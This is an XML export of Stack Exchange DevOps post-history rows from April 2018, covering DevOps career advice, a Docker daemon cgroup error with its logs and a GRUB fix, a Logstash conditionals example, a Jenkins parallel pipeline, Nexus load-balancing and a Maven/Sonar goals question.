  <row Id="12189" PostHistoryTypeId="2" PostId="3884" RevisionGUID="56c0fa27-c9c7-4f59-9e60-42c37340acb6" CreationDate="2018-04-15T15:33:29.833" UserId="7424" Text="Please suggest me a right path to this DevOps career. From blogs Im not getting a well defined path. &#xD;&#xA;What all courses I have to take.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostHistoryTypeId="1" PostId="3884" RevisionGUID="56c0fa27-c9c7-4f59-9e60-42c37340acb6" CreationDate="2018-04-15T15:33:29.833" UserId="7424" Text="I am a Ruby on Rails developer with 1 year of experience. How can I become a DevOps Engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostHistoryTypeId="3" PostId="3884" RevisionGUID="56c0fa27-c9c7-4f59-9e60-42c37340acb6" CreationDate="2018-04-15T15:33:29.833" UserId="7424" Text="&lt;amazon-web-services&gt;&lt;culture&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostHistoryTypeId="2" PostId="3885" RevisionGUID="268649d2-e26d-4f70-9b35-bcf961010d26" CreationDate="2018-04-15T16:16:22.647" UserId="15" Text="**DevOps** is not a role and in words of **@Tensibai** [here][1]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps is roughly an organization pattern aiming at breaking the silo between developers and sysadmins.&#xD;&#xA;&#xD;&#xA;So, you could already be on the DevOps moto and if you don't think you are, you can probably just try to implement the DevOps pattern on your organization or move to another organization with that pattern already implemented.&#xD;&#xA;&#xD;&#xA;You may want to become an Infrastructure Engineer, a SysAdmin Engineer, an Automation Engineer, a Site Reliability Engineer, a Performance Engineer... but surely you can not become a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/160/15" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostHistoryTypeId="5" PostId="3885" RevisionGUID="3e573908-197a-44b3-af53-b6dfd9d6493c" CreationDate="2018-04-15T16:23:21.173" UserId="15" Comment="added 1259 characters in body" Text="**DevOps** is not a role and in words of **@Tensibai** [here][1]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps is roughly an organization pattern aiming at breaking the silo between developers and sysadmins.&#xD;&#xA;&#xD;&#xA;So, you could already be on the DevOps moto and if you don't think you are, you can probably just try to implement the DevOps pattern on your organization or move to another organization with that pattern already implemented.&#xD;&#xA;&#xD;&#xA;You may want to become an Infrastructure Engineer, a SysAdmin Engineer, an Automation Engineer, a Site Reliability Engineer, a Performance Engineer... but surely you can not become a DevOps Engineer.&#xD;&#xA;&#xD;&#xA;You can get a good sense of your path by reading some questions and answers on this site. Here are a few ones:&#xD;&#xA;&#xD;&#xA;[What is DevOps?][2]&#xD;&#xA;&#xD;&#xA;[What is the difference between DevOps engineer Vs DevOps consultant Vs DevOps architect?][3]&#xD;&#xA;&#xD;&#xA;[What is the difference between SRE and DevOps?][4]&#xD;&#xA;&#xD;&#xA;[What could be a valid definition of DevOps to introduce it to a novice?][5]&#xD;&#xA;&#xD;&#xA;[What is the difference between the traditional Development and Operations &#xD;&#xA;Model and Site Reliability Engineering?][6]&#xD;&#xA;&#xD;&#xA;[What is the difference between Sysadmin and DevOps Engineer?][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/160/15&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/2892/what-is-devops&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/1894/what-is-the-difference-between-devops-engineer-vs-devops-consultant-vs-devops-ar&#xD;&#xA;  [4]: https://devops.stackexchange.com/questions/86/what-is-the-difference-between-sre-and-devops&#xD;&#xA;  [5]: https://devops.stackexchange.com/questions/788/what-could-be-a-valid-definition-of-devops-to-introduce-it-to-a-novice/1407#1407&#xD;&#xA;  [6]: https://devops.stackexchange.com/questions/911/what-is-the-difference-between-the-traditional-development-and-operations-model&#xD;&#xA;  [7]: https://devops.stackexchange.com/questions/157/what-is-the-difference-between-sysadmin-and-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostHistoryTypeId="2" PostId="3886" RevisionGUID="7a3a289f-498c-45da-887c-61f48c219015" CreationDate="2018-04-15T17:55:00.067" UserId="7425" Text="VIRTUAL_HOST is meant to point to the internal port, in your case it should be 8080 instead of 8083" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostHistoryTypeId="50" PostId="2341" RevisionGUID="978c03ab-9196-4072-855a-d02acd31efc4" CreationDate="2018-04-15T17:57:48.643" UserId="-1" />
  <row Id="12196" PostHistoryTypeId="2" PostId="3887" RevisionGUID="61a90e12-a2c8-4418-b777-836f1749ba85" CreationDate="2018-04-15T19:04:48.483" UserId="4175" Text="There is a nice hands-on path into the DevOps world:&#xD;&#xA;&#xD;&#xA;- Read books to set the mental direction. Starting out with &quot;The Phoenix Project&quot; is not the worst bet. We can discuss the literary qualities of the story, but it gives a very sound idea on what are common pitfalls during software development (or in the larger IT world), and how to avoid. It is not too specific about a method (yes, it does use Kanban as a basic scheme, but Kanban itself is quite unspecific, compared to others like Scrum). If that book is too cheesy for you, take &quot;The Devops Handbook&quot; from the same authors.&#xD;&#xA;- Learn basic tools. Build a basic DevOps toolset. You can start with Git, Gitlab, Docker, Ansible, Vagrant, to name a few concrete choices (except for Git, there are plenty of alternatives, but those are nice). This gives you Code Control, Pipelines, Containers, Configuration Management, VM Management.&#xD;&#xA;- For your next application, setup a very basic CI/CD pipeline using Gitlab.&#xD;&#xA;- Read more practical things like the &quot;12-Factor Apps&quot; article, and try to understand what all of the 12 factors are about.&#xD;&#xA;- Learn orchestration. Install MiniShift on your own PC, use it to develop/locally deploy a few small applications. Try to apply the concepts from 12-Factor Apps to MiniShift. Learn more about OpenShift, play around with their free online demo area. Dive into Kubernetes.&#xD;&#xA;- Get your CI/CD pipeline running in MiniShift/OpenShift. Think about how you would do certain things (e.g. what happens if you scale the Pod containing your database... etc.).&#xD;&#xA;- Get an AWS demo/cheap account and play around with their offering. Look into all their parts that are not trivial VMs - play with Lambdas, etc.&#xD;&#xA;&#xD;&#xA;All of this is easy and fun - each single step is more or less self contained, and if you understand what you are doing along the way, then you *are* a DevOps guy.&#xD;&#xA;&#xD;&#xA;If you let it be known in the working environment that you have all this know-how, then DevOpsy work should come your way. If it doesn't, find a new employer and strongly emphasize your toolbox and pay attention during your interviews, whether they have CI/CD etc. in their process. No need to look for specific &quot;DevOps Engineer&quot; jobs." ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostHistoryTypeId="2" PostId="3888" RevisionGUID="a87ece5d-13f1-439e-8836-21555838cf1a" CreationDate="2018-04-16T06:37:13.137" UserId="7433" Text="After instalation docker from repo i can't run it.&#xD;&#xA;Problem is with deamon:&#xD;&#xA;&#xD;&#xA;    dockerd&#xD;&#xA;    INFO[2018-04-16T08:05:58.267710670+02:00] libcontainerd: started new docker-cont                                                                                                                                                             ainerd process  pid=14871&#xD;&#xA;    INFO[0000] starting containerd                           module=containerd revis                                                                                                                                                             ion=773c489c9c1b21a6d78b5c538cd395416ec50f88 version=v1.0.3&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.content.v1.content&quot;...  module=containe                                                                                                                                                             rd type=io.containerd.content.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.btrfs&quot;...  module=contai                                                                                                                                                             nerd type=io.containerd.snapshotter.v1&#xD;&#xA;    WARN[0000] failed to load plugin io.containerd.snapshotter.v1.btrfs  error=&quot;path                                                                                                                                                              /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a                                                                                                                                                              btrfs filesystem to be used with the btrfs snapshotter&quot; module=containerd&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.overlayfs&quot;...  module=co                                                                                                                                                             ntainerd type=io.containerd.snapshotter.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.metadata.v1.bolt&quot;...  module=containerd                                                                                                                                                              type=io.containerd.metadata.v1&#xD;&#xA;    WARN[0000] could not use snapshotter btrfs in metadata plugin  error=&quot;path /var/                                                                                                                                                             lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs                                                                                                                                                              filesystem to be used with the btrfs snapshotter&quot; module=&quot;containerd/io.containe                                                                                                                                                             rd.metadata.v1.bolt&quot;&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.differ.v1.walking&quot;...  module=container                                                                                                                                                             d type=io.containerd.differ.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.gc.v1.scheduler&quot;...  module=containerd                                                                                                                                                              type=io.containerd.gc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.containers&quot;...  module=containe                                                                                                                                                             rd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.content&quot;...  module=containerd                                                                                                                                                              type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.diff&quot;...  module=containerd typ                                                                                                                                                             e=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.events&quot;...  module=containerd t                                                                                                                                                             ype=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.healthcheck&quot;...  module=contain                                                                                                                                                             erd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.images&quot;...  module=containerd t                                                                                                                                                             ype=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.leases&quot;...  module=containerd t                                                                                                                                                             ype=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.namespaces&quot;...  module=containe                                                                                                                                                             rd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.snapshots&quot;...  module=container                                                                                                                                                             d type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.monitor.v1.cgroups&quot;...  module=containe                                                                                                                                                             rd type=io.containerd.monitor.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.runtime.v1.linux&quot;...  module=containerd                                                                                                                                                              type=io.containerd.runtime.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.tasks&quot;...  module=containerd ty                                                                                                                                                             pe=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.version&quot;...  module=containerd                                                                                                                                                              type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.introspection&quot;...  module=conta                                                                                                                                                             inerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docke                                                                                                                                                             r/containerd/docker-containerd-debug.sock&quot; module=&quot;containerd/debug&quot;&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docke                                                                                                                                                             r/containerd/docker-containerd.sock&quot; module=&quot;containerd/grpc&quot;&#xD;&#xA;    INFO[0000] containerd successfully booted in 0.035376s   module=containerd&#xD;&#xA;    ERRO[2018-04-16T08:05:58.786104742+02:00] 'overlay' not found as a supported fil                                                                                                                                                             esystem on this host. Please ensure kernel is new enough and has overlay support                                                                                                                                                              loaded.&#xD;&#xA;    ERRO[2018-04-16T08:05:58.788387868+02:00] 'overlay' not found as a supported fil                                                                                                                                                             esystem on this host. Please ensure kernel is new enough and has overlay support                                                                                                                                                              loaded.&#xD;&#xA;    INFO[2018-04-16T08:05:58.840350416+02:00] Graph migration to content-addressabil                                                                                                                                                             ity took 0.00 seconds&#xD;&#xA;    WARN[2018-04-16T08:05:58.843811803+02:00] Your kernel does not support swap memo                                                                                                                                                             ry limit&#xD;&#xA;    WARN[2018-04-16T08:05:58.843832289+02:00] Your kernel does not support memory re                                                                                                                                                             servation&#xD;&#xA;    WARN[2018-04-16T08:05:58.843846422+02:00] Your kernel does not support oom contr                                                                                                                                                             ol&#xD;&#xA;    WARN[2018-04-16T08:05:58.843859530+02:00] Your kernel does not support memory sw                                                                                                                                                             appiness&#xD;&#xA;    WARN[2018-04-16T08:05:58.843872462+02:00] Your kernel does not support kernel me                                                                                                                                                             mory limit&#xD;&#xA;    WARN[2018-04-16T08:05:58.843885203+02:00] Unable to find cpu cgroup in mounts                                                                                                                                                                &#xD;&#xA;    WARN[2018-04-16T08:05:58.843899374+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio weight&#xD;&#xA;    WARN[2018-04-16T08:05:58.843912808+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio weight_device&#xD;&#xA;    WARN[2018-04-16T08:05:58.843926195+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio throttle.read_bps_device&#xD;&#xA;    WARN[2018-04-16T08:05:58.843939494+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio throttle.write_bps_device&#xD;&#xA;    WARN[2018-04-16T08:05:58.843953349+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio throttle.read_iops_device&#xD;&#xA;    WARN[2018-04-16T08:05:58.843981631+02:00] Your kernel does not support cgroup bl                                                                                                                                                             kio throttle.write_iops_device&#xD;&#xA;    WARN[2018-04-16T08:05:58.843992835+02:00] Unable to find cpuset cgroup in mounts                                                                                                                                                             &#xD;&#xA;    WARN[2018-04-16T08:05:58.844037653+02:00] mountpoint for pids not found                                                                                                                                                                      &#xD;&#xA;    Error starting daemon: Devices cgroup isn't mounted&#xD;&#xA;&#xD;&#xA;I instal cgroup manualy:&#xD;&#xA;&#xD;&#xA;    apt-get install cgroupfs-mount&#xD;&#xA;&#xD;&#xA;But still this same issue.&#xD;&#xA;Is really kernel from 2016 year is too old?&#xD;&#xA;&#xD;&#xA;uname -a retrun:&#xD;&#xA;&#xD;&#xA;&gt; Linux xxx 3.16.0-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018&#xD;&#xA;&gt; x86_64 GNU/Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="12198" PostHistoryTypeId="1" PostId="3888" RevisionGUID="a87ece5d-13f1-439e-8836-21555838cf1a" CreationDate="2018-04-16T06:37:13.137" UserId="7433" Text="Cannot run docker deamon" ContentLicense="CC BY-SA 3.0" />
  <row Id="12199" PostHistoryTypeId="3" PostId="3888" RevisionGUID="a87ece5d-13f1-439e-8836-21555838cf1a" CreationDate="2018-04-16T06:37:13.137" UserId="7433" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12200" PostHistoryTypeId="5" PostId="3888" RevisionGUID="ae0069d8-d601-4409-a95f-ff5cb3c710f8" CreationDate="2018-04-16T07:36:40.217" UserId="7433" Comment="deleted 7546 characters in body" Text="After instalation docker from repo i can't run it.&#xD;&#xA;Problem is with deamon:&#xD;&#xA;&#xD;&#xA;    dockerd&#xD;&#xA;    INFO[2018-04-16T09:35:46.054942906+02:00] libcontainerd: started new docker-containerd process  pid=21656&#xD;&#xA;    INFO[0000] starting containerd                           module=containerd revision=773c489c9c1b21a6d78b5c538cd395416ec50f88 version=v1.0.3&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.content.v1.content&quot;...  module=containerd type=io.containerd.content.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.btrfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    WARN[0000] failed to load plugin io.containerd.snapshotter.v1.btrfs  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=containerd&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.snapshotter.v1.overlayfs&quot;...  module=containerd type=io.containerd.snapshotter.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.metadata.v1.bolt&quot;...  module=containerd type=io.containerd.metadata.v1&#xD;&#xA;    WARN[0000] could not use snapshotter btrfs in metadata plugin  error=&quot;path /var/lib/docker/containerd/daemon/io.containerd.snapshotter.v1.btrfs must be a btrfs filesystem to be used with the btrfs snapshotter&quot; module=&quot;containerd/io.containerd.metadata.v1.bolt&quot;&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.differ.v1.walking&quot;...  module=containerd type=io.containerd.differ.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.gc.v1.scheduler&quot;...  module=containerd type=io.containerd.gc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.containers&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.content&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.diff&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.events&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.healthcheck&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.images&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.leases&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.namespaces&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.snapshots&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.monitor.v1.cgroups&quot;...  module=containerd type=io.containerd.monitor.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.runtime.v1.linux&quot;...  module=containerd type=io.containerd.runtime.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.tasks&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.version&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] loading plugin &quot;io.containerd.grpc.v1.introspection&quot;...  module=containerd type=io.containerd.grpc.v1&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd-debug.sock&quot; module=&quot;containerd/debug&quot;&#xD;&#xA;    INFO[0000] serving...                                    address=&quot;/var/run/docker/containerd/docker-containerd.sock&quot; module=&quot;containerd/grpc&quot;&#xD;&#xA;    INFO[0000] containerd successfully booted in 0.007348s   module=containerd&#xD;&#xA;    ERRO[2018-04-16T09:35:46.318603395+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    ERRO[2018-04-16T09:35:46.321272231+02:00] 'overlay' not found as a supported filesystem on this host. Please ensure kernel is new enough and has overlay support loaded.&#xD;&#xA;    INFO[2018-04-16T09:35:46.334031676+02:00] Graph migration to content-addressability took 0.00 seconds&#xD;&#xA;    WARN[2018-04-16T09:35:46.337419439+02:00] Your kernel does not support swap memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337438494+02:00] Your kernel does not support memory reservation&#xD;&#xA;    WARN[2018-04-16T09:35:46.337452567+02:00] Your kernel does not support oom control&#xD;&#xA;    WARN[2018-04-16T09:35:46.337465274+02:00] Your kernel does not support memory swappiness&#xD;&#xA;    WARN[2018-04-16T09:35:46.337479319+02:00] Your kernel does not support kernel memory limit&#xD;&#xA;    WARN[2018-04-16T09:35:46.337488145+02:00] Unable to find cpu cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337501250+02:00] Your kernel does not support cgroup blkio weight&#xD;&#xA;    WARN[2018-04-16T09:35:46.337515483+02:00] Your kernel does not support cgroup blkio weight_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337528836+02:00] Your kernel does not support cgroup blkio throttle.read_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337542675+02:00] Your kernel does not support cgroup blkio throttle.write_bps_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337556361+02:00] Your kernel does not support cgroup blkio throttle.read_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337571999+02:00] Your kernel does not support cgroup blkio throttle.write_iops_device&#xD;&#xA;    WARN[2018-04-16T09:35:46.337589881+02:00] Unable to find cpuset cgroup in mounts&#xD;&#xA;    WARN[2018-04-16T09:35:46.337656042+02:00] mountpoint for pids not found&#xD;&#xA;    Error starting daemon: Devices cgroup isn't mounted&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I instal cgroup manualy:&#xD;&#xA;&#xD;&#xA;    apt-get install cgroupfs-mount&#xD;&#xA;&#xD;&#xA;But still this same issue.&#xD;&#xA;Is really kernel from 2016 year is too old?&#xD;&#xA;&#xD;&#xA;uname -a retrun:&#xD;&#xA;&#xD;&#xA;&gt; Linux xxx 3.16.0-042stab127.2 #1 SMP Thu Jan 4 16:41:44 MSK 2018&#xD;&#xA;&gt; x86_64 GNU/Linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="12201" PostHistoryTypeId="6" PostId="3882" RevisionGUID="5c267267-09b9-4d75-ae7e-8550ef57d2c9" CreationDate="2018-04-16T08:37:51.927" UserId="7419" Comment="edited tags" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;virtualization&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12202" PostHistoryTypeId="5" PostId="3882" RevisionGUID="5c267267-09b9-4d75-ae7e-8550ef57d2c9" CreationDate="2018-04-16T08:37:51.927" UserId="7419" Comment="edited tags" Text="To save money, I would like a large number of agent machines to be stopped and started up only when needed. Better yet, a single  VM should be copied and launched on demand.&#xD;&#xA;&#xD;&#xA;I am using Google Cloud Platform.&#xD;&#xA;&#xD;&#xA;I see the  [Kubernetes plugin][1], used in Jenkins X, as well as the  [VirtualBox Plugin][2], but I get the sense that Jenkins might not be designed for this. &#xD;&#xA;&#xD;&#xA;What is the standard way, if any, to do this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/kubernetes&#xD;&#xA;  [2]: https://wiki.jenkins.io/display/JENKINS/VirtualBox+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="12208" PostHistoryTypeId="2" PostId="3891" RevisionGUID="21de15f1-2958-4d54-a225-da9b2d62620d" CreationDate="2018-04-16T09:13:42.747" UserId="800" Text="Try the following as root:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* Edit the /etc/default/grub file and set the GRUB_CMDLINE_LINUX value as follows:&#xD;&#xA;&#xD;&#xA; `GRUB_CMDLINE_LINUX=&quot;cgroup_enable=memory swapaccount=1&quot;`&#xD;&#xA;&#xD;&#xA;* Update GRUB.&#xD;&#xA;&#xD;&#xA; `sudo update-grub` &#xD;&#xA;&#xD;&#xA;* Reboot your system.&#xD;&#xA;&#xD;&#xA;As per [this](https://docs.docker.com/install/linux/linux-postinstall/#your-kernel-does-not-support-cgroup-swap-limit-capabilities)." ContentLicense="CC BY-SA 3.0" />
  <row Id="12209" PostHistoryTypeId="2" PostId="3892" RevisionGUID="0f90b675-6c02-466d-b3b9-f5de73db05ca" CreationDate="2018-04-16T09:14:12.773" UserId="13" Text="Once parsed your config create one and only one pipeline, with various inputs, various filters and various outputs. &#xD;&#xA;&#xD;&#xA;You have to use some conditional constructs to apply filter and output only to specific messages, usually using a special tag or field set on input.&#xD;&#xA;&#xD;&#xA;Some exemple are available in [logstash documentation](https://www.elastic.co/guide/en/logstash/current/config-examples.html#using-conditionals):&#xD;&#xA;&#xD;&#xA;&gt;     output {&#xD;&#xA;&gt;       if [type] == &quot;apache&quot; {&#xD;&#xA;&gt;         if [status] =~ /^5\d\d/ {&#xD;&#xA;&gt;           nagios { ...  }&#xD;&#xA;&gt;         } else if [status] =~ /^4\d\d/ {&#xD;&#xA;&gt;           elasticsearch { ... }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;         statsd { increment =&gt; &quot;apache.%{status}&quot; }&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }" ContentLicense="CC BY-SA 3.0" />
  <row Id="12211" PostHistoryTypeId="8" PostId="3090" RevisionGUID="ed32664a-14af-480b-bdd5-0061a4473f4c" CreationDate="2018-04-16T09:41:07.233" UserId="13" Comment="Rollback to [fd839ac6-4acf-4066-8b0b-c83a2474ae8d]" Text="Managed to solve it with the following code:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent { label &quot;master&quot;}&#xD;&#xA;        stages {&#xD;&#xA;            stage('1') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        def tests = [:]&#xD;&#xA;                        for (f in findFiles(glob: '**/html/*.html')) {&#xD;&#xA;                            tests[&quot;${f}&quot;] = {&#xD;&#xA;                                node {&#xD;&#xA;                                    stage(&quot;${f}&quot;) {&#xD;&#xA;                                        echo '${f}'&#xD;&#xA;                                    }&#xD;&#xA;                                }&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        parallel tests&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }       &#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="12212" PostHistoryTypeId="5" PostId="366" RevisionGUID="fefa47fe-0828-4c9a-952c-1c6d3a7fcf89" CreationDate="2018-04-16T10:37:25.837" UserId="6017" Comment="Updated formatting for easier reading and included link to official documentation." Text="Load balancing Nexus is currently not supported by Sonatype, except by putting a Nexus instance in front of two with [smart-proxying][1] enabled or via a [newer feature][2]. &#xD;&#xA;&#xD;&#xA;Still, I gave it a shot, by sharing the filesystem with GlusterFS for the `/storage`, and trying to [enable stickyness in the Apache Load Balancer config][3] and in Nexus config for the UI.&#xD;&#xA;&#xD;&#xA;With the UI I am failing miserably, as it seems the Nexus container does not honor the properties for setting the cookie value; using the following configuration at the moment:&#xD;&#xA;&#xD;&#xA;For the storage it seems to work, by limiting to `GET` and `HEAD` requests only, still have to try opening to `POST`s. I also was unsure about the possible collateral effects of scheduled jobs, so all were disabled in the &quot;secondary&quot; node.&#xD;&#xA;&#xD;&#xA;Has anybody achieved some level of trustworthy configuration for load-balancing nexus? The UI is not actually important to be load-balanced, I would be happy enough with the storage.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.sonatype.com/repomanager2/smart-proxy&#xD;&#xA;  [2]: https://help.sonatype.com/repomanager3/high-availability---introduction&#xD;&#xA;  [3]: https://httpd.apache.org/docs/2.4/mod/mod_proxy_balancer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12213" PostHistoryTypeId="4" PostId="366" RevisionGUID="fefa47fe-0828-4c9a-952c-1c6d3a7fcf89" CreationDate="2018-04-16T10:37:25.837" UserId="6017" Comment="Updated formatting for easier reading and included link to official documentation." Text="Load balancing Nexus artifact repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="12214" PostHistoryTypeId="24" PostId="366" RevisionGUID="fefa47fe-0828-4c9a-952c-1c6d3a7fcf89" CreationDate="2018-04-16T10:37:25.837" Comment="Proposed by 6017 approved by -1 edit id of 675" ContentLicense="CC BY-SA 3.0" />
  <row Id="12215" PostHistoryTypeId="5" PostId="366" RevisionGUID="1d145898-c80e-4243-b7ac-c7be1a8daf1d" CreationDate="2018-04-16T10:37:25.837" UserId="40" Comment="Updated formatting for easier reading and included link to official documentation." Text="Load balancing Nexus is currently not supported by Sonatype, except by putting a Nexus instance in front of two with [smart-proxying][1] enabled or via a [newer feature][2]. &#xD;&#xA;&#xD;&#xA;Still, I gave it a shot, by sharing the filesystem with GlusterFS for the `/storage`, and trying to [enable stickyness in the Apache Load Balancer config][3] and in Nexus config for the UI.&#xD;&#xA;&#xD;&#xA;With the UI I am failing miserably, as it seems the Nexus container does not honor the properties for setting the cookie value; using the following configuration at the moment:&#xD;&#xA;&#xD;&#xA;For the storage it seems to work, by limiting to `GET` and `HEAD` requests only, still have to try opening to `POST`s. I was also unsure about the possible collateral effects of scheduled jobs, so all were disabled in the &quot;secondary&quot; node.&#xD;&#xA;&#xD;&#xA;Has anybody achieved some level of trustworthy configuration for load-balancing nexus? The UI is not actually important to be load-balanced, I would be happy enough with the storage.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.sonatype.com/repomanager2/smart-proxy&#xD;&#xA;  [2]: https://help.sonatype.com/repomanager3/high-availability---introduction&#xD;&#xA;  [3]: https://httpd.apache.org/docs/2.4/mod/mod_proxy_balancer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12216" PostHistoryTypeId="5" PostId="1047" RevisionGUID="f2441c71-7508-4716-8bbc-00e5a04d5f44" CreationDate="2018-04-16T12:22:39.767" UserId="6017" Comment="Updated formatting for easier reading. " Text="I am planning to build a Maven project in Jenkins. I tried to do some research how to give goals for Maven for doing few steps in one command but cant get understood how to do. &#xD;&#xA;&#xD;&#xA;What I mean is how can I give a goal where Maven can build Maven project like creating artifact, skip tests and analyse Sonarqube analysis with particular URL like (`sonar:sonar -Dsonar.host.url=http://url`)? &#xD;&#xA;&#xD;&#xA;I tried but I am unable to give all goals at same time. I am planning to give in these three steps in three different goals. Any way that I can give in single step?" ContentLicense="CC BY-SA 3.0" />
